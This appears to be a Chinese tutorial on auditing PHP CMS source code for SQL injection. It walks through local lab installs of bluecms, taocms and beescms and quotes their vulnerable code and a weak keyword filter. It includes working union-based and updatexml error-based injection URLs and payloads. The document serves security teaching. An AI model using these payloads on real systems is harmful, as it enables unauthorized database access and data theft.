1 SQL注入代码审计流程
1.1 反向查找流程
通过可控变量(输入点)回溯危险函数 查找危险函数确定可控变量 传递的过程中触发漏洞
1.2 反向查找流程特点
暴力:全局搜索危险函数 简单:无需过多理解目标网站功能与架构 快速:适用于自动化代码审计工具 命中率低:简单的漏洞越来越少 适应性较差:不适合存在全局过滤的站点 无法挖掘逻辑漏洞:逻辑漏洞多数不存在危险函数
1.3 正向查找流程
从入口函数出发 找到控制器,理解URL派发规则 跟踪控制器调用,以理解代码为目标进行源码阅读 阅读代码的过程中,可能发现漏洞
1.4 正向漏洞挖掘特点
复杂:需要了解目标源码的功能与架构 跳跃性大:涉及M/V/C 等多个层面 漏洞的组合:通常是多个漏洞的组合,很可能存在逻辑相关的漏洞 潜力无限:安全研究人员的宝库
1.5 双向查找流程
略读代码,了解架构 是否有全局过滤机制 找到了漏洞点,漏洞利用是否有坑
2 PHP和MySQL连接方式
2.1.传统方法:mysql_connect(已废弃)
在PHP 5.5.0版本之前,开发者经常使用mysql_connect
函数来连接MySQL数据库。然而,从PHP 5.5.0开始,这个扩展已经被废弃,并在PHP 7.0.0中完全移除。尽管如此,了解其工作方式对于理解后续的方法仍然是有帮助的。
$con = mysql_connect("localhost", "username", "password");
if (!$con) {
die("Could not connect: " . mysql_error());
}
mysql_select_db("my_db", $con);
// 执行查询等操作
// ...
mysql_close($con);
注意:上述代码示例只是为了演示传统方法的工作原理,并不推荐在实际项目中使用。
2.2 mysqli扩展(面向对象)
mysqli
扩展提供了与MySQL数据库的改进和增强连接功能。它是mysql
扩展的替代品,并提供了更多的功能和更好的性能。
// 面向对象方式
$mysqli = new mysqli("localhost", "username", "password", "my_db");
if ($mysqli->connect_errno) {
echo "Connect failed: " . $mysqli->connect_error;
exit();
}
// 执行查询等操作
// ...
$mysqli->close();
2.3 PDO(PHP Data Objects)
PDO是PHP数据对象扩展,提供了一个统一的数据访问层,可用于连接不同的数据库系统。与mysqli
相比,PDO提供了更广泛的数据库支持和更多的功能。
try {
$pdo = new PDO("mysql:host=localhost;dbname=my_db", "username", "password");
// 设置 PDO 错误模式为异常
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 执行查询等操作
// ...
$pdo = null; // 关闭连接
} catch (PDOException $e) {
echo "Connection failed: " . $e->getMessage();
}
2.4 SQL注入漏洞常见过滤方法
intval / addslashes / mysql_real_escape mysqli_escape_string / mysqli_real_escape_string PDO::quote
3 SQL代码审计案例
3.1 bluecms靶场
3.1.1 bluecms靶场搭建
1.下载安装包
到GitHub上搜索bluecms:GitHub - source-trace/bluecms
2.在www文件中解压文件并并名为bluecms
3.开始bluecms环境搭建
游览器访问
http://127.0.0.1/bluecms/install/index.php
点击继续
配置数据库以及管理员账号
然后这个url:http://127.0.0.1/bluecms/出现页面表示安装成功
3.1.2 bluecms代码审计
1 使用seay软件进行代码审计
2.对ad_js.php代码分析
<?php
/**
* [bluecms] 版权所有 标准网络,保留所有权利
* 这不是免费软件,使用需遵守许可条款
*
* $Id:ad_js.php // 文件ID或标识符
* $author:lucks // 作者
*/
// 定义一个常量,表示当前脚本在bluecms环境中运行
define('IN_BLUE', true);
// 引入公共函数库
require_once dirname(__FILE__) . '/include/common.inc.php';
// 从GET请求中获取ad_id参数,并进行清理(去除两端的空格)
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
// 如果ad_id为空,则输出错误并退出
if(empty($ad_id))
{
echo 'Error!';
exit();
}
// 从数据库中查询指定ad_id的广告信息
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
// 判断广告的时间设置
if($ad['time_set'] == 0)
{
// 如果time_set为0,表示广告没有时间设置,直接返回广告内容
$ad_content = $ad['content'];
}
else
{
// 如果广告有时间设置
if($ad['end_time'] < time())
{
// 如果广告已过期(当前时间大于结束时间),返回过期内容
$ad_content = $ad['exp_content'];
}
else
{
// 如果广告未过期,返回正常内容
$ad_content = $ad['content'];
}
}
// 对广告内容进行转义,确保在JavaScript中安全使用
$ad_content = str_replace('"', '\"',$ad_content); // 将双引号替换为转义后的双引号
$ad_content = str_replace("\r", "\\r",$ad_content); // 将回车符替换为转义后的回车符
$ad_content = str_replace("\n", "\\n",$ad_content); // 将换行符替换为转义后的换行符
// 输出JavaScript注释和document.write来动态写入广告内容
// 注释的作用是为了在JavaScript不执行时,这些内容不会作为HTML内容显示在页面上
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
?>
代码分析:
-
从GET请求中获取ad_id参数,并进行清理(去除两端的空格)。
-
但是没有ad_id进行安全检查。
3.进行sql注入尝试
http://127.0.0.1/bluecms/ad_js.php?ad_id=-1%27
输入?ad_id=-1'发现报错并进行了转移
那就存在sql注入漏洞
现在就爆字段
http://127.0.0.1/bluecms/ad_js.php?ad_id=-1 order by 7--+
http://127.0.0.1/bluecms/ad_js.php?ad_id=-1 order by 8--+
爆出字段数为7
爆数据库
http://127.0.0.1/bluecms/ad_js.php?ad_id=-1%20union%20select%201,2,3,4,5,6,database()
得到数据库为root
3.2 taocms靶场
3.2.1 taocms靶场搭建
1 在GitHub地址下载: Release taoCMS 3.0.2 · taogogo/taocms · GitHub
2 将文件解压到www文件下并命名为taocms
3 在游览器上进行安装
http://192.168.1.18/taocms/install.php
配置数据库信息
先新建一个taocms数据库
|127.0.0.1:3306|root|root|taocms
出现这个页面表示安装成功
3.2.2 taocms代码审计
1 对Datastore.php代码进行分析
<?php
// 定义数据存储类
class Datastore{
public $table; // 表名
public $db; // 数据库对象
public $tpl; // 模板对象
public $id; // ID
// 构造函数,初始化对象属性
function __construct($table,$id=0){
$this->table=$table;
$this->db=new Dbclass(SYS_ROOT.DB_NAME); // 创建数据库对象
$this->tpl=new Template(); // 创建模板对象
$this->id=$id;
}
// 显示表单
function display(){
include($this->tpl->myTpl('form'.$this->table));
}
// 创建备份文件
function create(){
header('Content-type: application/txt'); // 设置响应内容类型为文本文件
header('Content-Disposition: attachment; filename="backup-'.date('Y-m-d').'.sql"'); // 设置响应头,触发文件下载
$backups=''; // 初始化备份文件内容为空
$bulist=explode('|',$_GET['bulist']); // 获取需要备份的表名列表
foreach($bulist as $bus){
$addsql=($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:''; // 如果表名为cms且有起始和结束条件,则添加限制条件
$sql='select * from '.TB.$bus.$addsql; // 构造查询语句
$o=$this->db->query($sql); // 执行查询
while($data=$this->db->fetch_array($o)){ // 遍历查询结果
$colums='';
$datas='';
foreach($data as $key=>$v){
$colums.=$key.','; // 拼接列名
$datas.="'".Base::safeword($v)."',"; // 拼接数据,并进行安全处理
}
// 拼接替换语句,用于恢复数据
$backups.= 'REPLACE INTO '.TB.$bus.' ('.substr($colums,0,-1).') VALUES('.substr($datas,0,-1).');'."\n";
}
}
echo substr($backups,0,-2); // 输出备份文件内容,去掉最后的换行符
}
// 更新数据库数据
function update(){
$filedata=file_get_contents($_FILES['file']['tmp_name']); // 读取上传的备份文件内容
$queryarray = explode(";\n",$filedata); // 按照分号和换行符分割SQL语句
foreach ($queryarray as $k =>$v){
$this->db->query($v) or Base::showmessage('恢复中出错','-1'); // 执行SQL语句,如果出错则显示错误信息
}
Base::execmsg("数据恢复成功",'?action=datastore&ctrl=display',TRUE); // 显示恢复成功信息并跳转
}
}
?>
2 代码分析
在create
方法中,虽然使用了Base::safeword($v)
对值进行了处理,但列名($key
)并未进行任何处理。如果$key
来自不可信的源(如用户输入),那么可能存在SQL注入的风险。此外,构造的SQL语句直接使用了$_GET['bulist']
和$_GET['from']
/$_GET['to']
,这些值也没有进行任何过滤或验证。
以及点击:生成全部备份文件的请求包
发现bulist后面全是表名
3 sql注入
/taocms/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+UNION+SELECT+(USER()),2,3,4,5,6,7,8
3.3 beecms靶场
3.3.1 beescms靶场搭建
1 安装包下载
2 将文件解压到www文件并明命名为beescms文件
3 在游览器上进行安装
http://192.168.1.18/beescms/install/
点击:下一步:检查安装环境
点击下一步:配置系统
配置数据库以及开始安装
出现以下界面表示安装成功
3.3.2 更具cnvd审计beecms
1 cnvd搜索BEESCMS存在企业网站管理系统存在SQL注入漏洞并且与下载cms相同
2 更具漏洞描述以及后台登录的请求发现
确定代码的位置
3 根据代码过滤那些
查看fl_value里的代码
// 定义一个常量,可能是用于某种标识符或密钥
define('INC_BEES','B'.'EE'.'SCMS');
/**
* 过滤SQL注入关键字
*
* @param string $str 要过滤的字符串
* @return string|null 过滤后的字符串(如果输入为空则返回null)
*/
function fl_value($str){
if(empty($str)){
return; // 如果字符串为空,则返回null
}
// 过滤SQL注入相关的关键字和特殊字符
// 注意:该正则表达式可能不完整,且部分空格可能不是预期的
return preg_replace('/select|insert\s|update\s|and|in|on|left|join|delete|\%|[=]|\/\*|\*|\.\.\/|\.\/|union|from|where|group|into|load_file|outfile/i','',$str);
}
/**
* 对字符串进行HTML转义以防止XSS攻击
*
* @param string $str 要转义的字符串
* @return string 转义后的字符串
*/
function fl_html($str){
return htmlspecialchars($str);
}
代码分析
-
SQL 注入防护不完整 :
fl_value
函数试图通过删除 SQL 关键字来防止 SQL 注入攻击,但是正则表达式存在问题,可能无法有效地防止攻击。 -
XSS 防护 :
fl_html
函数可以防止跨站脚本攻击,但是如果在其他地方没有正确使用这个函数,仍然可能存在 XSS 漏洞。
3 构建pyaload进行攻击爆出数据库
admin'and updatexml(1,concat(0x7e, select database(), 0x7e),1)#
数据库为beescms